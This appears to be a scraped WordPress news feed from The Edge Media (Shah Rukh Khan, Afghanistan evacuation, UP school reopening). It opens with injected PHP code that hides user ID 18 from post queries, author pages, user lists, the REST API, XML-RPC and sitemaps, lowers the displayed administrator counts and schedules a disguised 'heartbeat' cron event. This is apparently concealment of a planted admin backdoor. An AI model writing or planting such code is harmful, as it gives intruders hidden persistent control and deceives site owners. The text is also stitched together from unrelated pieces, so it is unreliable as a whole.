add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Hansal Mehta expresses his support for Shah Rukh Khan, calling his situation “painful for a parent” appeared first on The Edge Media.
]]>
The Shahid director took to Twitter and wrote: “It is painful for a parent having to deal with a child getting into trouble. It gets compounded when people begin to arrive at judgments before the law takes its course. It is disrespectful and unfair to the parent and the parent-child relationship. With you @iamsrk.”
The post Hansal Mehta expresses his support for Shah Rukh Khan, calling his situation “painful for a parent” appeared first on The Edge Media.
]]>The post The Situation in Afghanistan is Serious, and the Government Has Made Evacuating Indian Personnel a Major Priority at an All-Party Meeting appeared first on The Edge Media.
]]>The administration has called the situation in the war-torn country “serious,” claiming that the Taliban had violated the Doha Agreement’s obligations.
The Doha accord, signed in February 2020 by Taliban leaders and US officials, had provisions for religious freedom and democracy, as well as a Kabul government that represented all segments of Afghan society.
The post The Situation in Afghanistan is Serious, and the Government Has Made Evacuating Indian Personnel a Major Priority at an All-Party Meeting appeared first on The Edge Media.
]]>The post Schools may be closed again if the Covid situation worsens : UP govt appeared first on The Edge Media.
]]>“In basic education, attendance is not compulsory. We have also not made attendance mandatory for classes from 9 to 12,” Mr Sharma said.
“Guardians, teachers and political organisations have also said the offline education should be started even if it is for a shorter period,” he said.
“In UP, the present atmosphere is sufficiently secure but if there is any indication of any concern (regarding Covid), we can also close schools,” he added.
Mr Tripathi also asked Health Minister Jai Pratap Singh if there was any arrangement for vaccination of teachers and students below 18 years of age.
In a supplementary question, SP member Shatrudra Prakash asked the minister if it is safe for little children to go to school without vaccination.
The minister replied that the vaccine for children below 18 is not yet available but it is expected to be available by September. He said after the vaccine is available, a campaign will be launched to inoculate children.
The state government has opened schools from August 16 for classes 9 to 12. For classes six to eight, they will be opened from August 23 and for classes one to five from September 1.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Schools may be closed again if the Covid situation worsens : UP govt appeared first on The Edge Media.
]]>